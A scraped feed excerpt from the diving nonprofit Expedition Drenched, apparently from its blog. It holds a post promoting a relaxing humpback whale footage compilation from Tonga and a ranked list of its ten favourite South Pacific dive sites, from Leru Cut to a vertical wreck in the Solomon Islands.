]]> https://drenchedproductions.com/top-10-most-beautiful-anchorages-in-the-south-pacific/feed/ 1 1462 Humpback Whale Fantasy ASMR https://drenchedproductions.com/humpback-whale-fantasy-asmr/ https://drenchedproductions.com/humpback-whale-fantasy-asmr/#comments Fri, 03 Dec 2021 06:01:49 +0000 https://drenchedproductions.com/?p=1440 Everyone loves whales and we have been truly privileged to have numerous in-water encounters with them over the course of the previous year’s journey. You can watch these in our regular episodes. However, there was so much footage that we’ve decided to make a treat for the cetophiles (that’s whale lovers for those who failed high school Greek) in our audience and compile our most relaxing whale footage. This video is purely a compilation of the incredible footage we have shot swimming with these gentle giants.

The post Humpback Whale Fantasy ASMR first appeared on Drenched Productions.

]]>
Humpback Whale Fantasy ASMR | Expedition Drenched

Humpback Whale Fantasy ASMR

By Expedition Drenched

01 May 2021

Everyone loves whales and we have been truly privileged to have numerous in-water encounters with them over the course of the previous year’s journey. You can watch these in our regular episodes. However, there was so much footage that we’ve decided to make a treat for the cetophiles (that’s whale lovers for those who failed high school Greek) in our audience and compile our most relaxing whale footage. This video is purely a compilation of the incredible footage we have shot swimming with these gentle giants.

Humpback Whale Fantasy ASMR | Expedition Drenched
Humpback Whale Fantasy ASMR | Expedition Drenched
Humpback Whale Fantasy ASMR | Expedition Drenched

Humpbacks feed on krill and small schooling fish in the waters around the Polar Regions during the summer months, but migrate to warmer waters during their respective hemispheres’ winters. There, they will either mate or give birth and nurse their young, in the case of pregnant females, before making the arduous return journey to their frigid feeding waters. During this journey, the young are vulnerable to apex predators such as orca and great white sharks.

In Vavau, Tonga, the whales migrate from Antarctic feeding grounds.

There, we got in the water were able to snorkel and freedive with mothers and their calves.  While making our way to Samoa, we were once again graced by them as well as a by a pod of dolphins for an interspecies frolic, while other adults gave us a show by breaching and creating enormous splashes. 

So dim the lights, lean back and enjoy these beautiful giants!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

Vintage Scuba Diving Tank Top | Expedition Drenched
Vintage Diver - Scuba Diving Racerback Tank
VISIT OUR STORE
Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
BUY AT AMAZON
Sony a7 III ILCE7M3/B Full-Frame Mirrorless Interchangeable-Lens Camera
BUY AT AMAZON
[mpfy-multi-map map_ids="230" height="350" label="Select Map" label_bg_color="#13c490" ]
We Went Night Diving in Sydney Harbour – Rays, Cuttlefish, and Seahorse Hotels
Learn more
Get Out More and EXPLORE – Our Top Tricks & Tips for SCUBA Diving Off the Grid
Learn more
History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber
Learn more
One Tree Island Research Station – Expedition Drenched the FIRST Sailors Allowed to Visit
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]]> https://drenchedproductions.com/humpback-whale-fantasy-asmr/feed/ 2 1440 TOP 10 Most AMAZING DIVE SITES In the South Pacific! https://drenchedproductions.com/top-10-most-amazing-dive-sites-in-the-south-pacific/ Mon, 18 Oct 2021 12:12:10 +0000 https://drenchedproductions.com/?p=1212 We dove hundreds of dives, saw thousands of creatures through the South Pacific and as a group we voted and have decided these are our TOP 10 favorite dives

Check out TOP 10 Most AMAZING DIVE SITES In the South Pacific!

The post TOP 10 Most AMAZING DIVE SITES In the South Pacific! first appeared on Drenched Productions.

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TOP 10 Most AMAZING DIVE SITES In the South Pacific! | Expedition Drenched

TOP 10 Most AMAZING DIVE SITES In the South Pacific!

By Expedition Drenched

08 May 2021

We dove hundreds of dives, saw thousands of creatures through the South Pacific and as a group we voted and have decided these are our TOP 10 favorite dives

Check out TOP 10 Most AMAZING DIVE SITES In the South Pacific!

10. Leru Cut, Solomon Islands

Situated in the Russell Islands, Solomon Islands, the waters around Leru Cut have been a marine park for the past two decades with healthy corals and diverse marine life. This site, however, does not feature these and is remarkable instead for being a trench cut about 40 meters into Leru Island. What makes it spectacular is the way the light beams down from the surface through the trench all the way to the bottom at around 20 meters. It is possible to surface at the end of the trench and see palm trees located at the top of this crevice! The trench features a variety of crustaceans and the reef around the entrance is scattered with healthy gorgonian fans.

9. Clan McWilliams Wreck, Tonga

After catching fire in port, this ship was dragged to sea and scuttled in approximately 25 meters of water. The wreck is so covered in marine life that it is sometimes difficult to recognize that it once was a ship! The shining point of this site however, is the abundance of moon jellyfish. This species of jellyfish doesn’t sting, and it is possible to swim among them and enjoy the peaceful beauty of their movement. It is also just around the corner from the Swallow Cave dive site.

8. Custom Shark Cave, Solomon Islands

Located near the island of Munda, we needed to hike through the jungle to find the entrance to this magical cave. The cave system winds through the islands and opens into a stunning wall reef worth a visit of its own!

7. Poor Knights, New Zealand

The North Island’s Tutukaka Coast boasts this stunning site, where you can see many large species of fish like trevally, kingfish, stingrays and blue mau maus swimming amongst the swaying kelp.

6. White Wall, Fiji

Fiji’s rarely visited far north’s White Wall gets its name from the fluffy white soft coral growing all over the reef. The tops out at 20 meters and the crystal clear waters give you the impression of skydiving onto a cloud during your descent! This is a great site to see small stuff like nudibranchs, but it’s also possible to spot the occasional larger fish like sharks.

5. Toa Maru, Solomon Islands

The Toa Maru was a Japanese transport ship whose captain rammed it ashore after being torpedoed by an American submarine. Over 120 meters in length, the wreck’s cargo holds contain sake bottles, ink wells, motorcycles, tanks, and ammunition! After spending more than seven decades underwater, the top side of the wreck has been completely colonized by corals, rendering it unrecognizable as a ship from the surface!

4. Mervin’s Garden, Solomon Islands

The site is named for Mervin, who owns two nearby islands being developed into a divers’ retreat. As a wall dive covered in gorgonian fans, it is a great site for spotting pygmy seahorses, lionfish and numerous clownfish species. Mervin’s Garden is also one of our top 10 anchorages of the past year!

3. President Coolidge Wreck, Vanuatu

The main entrance to the port of Luganville was mined during World War II. Unfortunately, no one informed the crew of the SS President Coolidge and it struck a mine when coming to port. After being rammed ashore and stripped of its cargo, the ship sank onto its side into approximately 50 meters of water. Being such a massive ship, the top of the wreck is around five meters from the surface! Due to its size, the Coolidge requires multiple dives to completely survey. The insides of the wreck still contain some of its cargo, including ammunition and external fuel tanks for long range fighter plane missions, but the piece de resistance of the ship is The Lady, an ornamental statue remaining from the Coolidge’s first life as a luxury ocean liner.

2. Bull Shark Dive, Fiji

After hunting bull sharks for decades, the residents of Pacific Harbor, Fiji, realized that rather than being competition for fish, bull sharks were a prime attraction for scuba tourists. This dive simply consists of you dropping to the bottom, hiding behind a wall, and observing (and taking images of) dozens of fully grown, chunky bull sharks!

1. Vertical Wreck, Solomon Islands

After hitting a reef on her maiden voyage, this Japanese fishing boat sank when she was pulled off the reef and landed vertically on the seabed, bow up, with the keel resting on the reef wall. The top of the wreck is only 2 meters from the surface, and the stern rests at a depth of 40 meters. The site features abundant macro life like nudibranchs and long nosed hawkfish. Its isolation and obscurity effectively turned it into our private dive site and this combined with its fantastic anchorage make it Expedition Drenched’s number one dive site in the South Pacific!

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Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

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The post TOP 10 Most AMAZING DIVE SITES In the South Pacific! first appeared on Drenched Productions.

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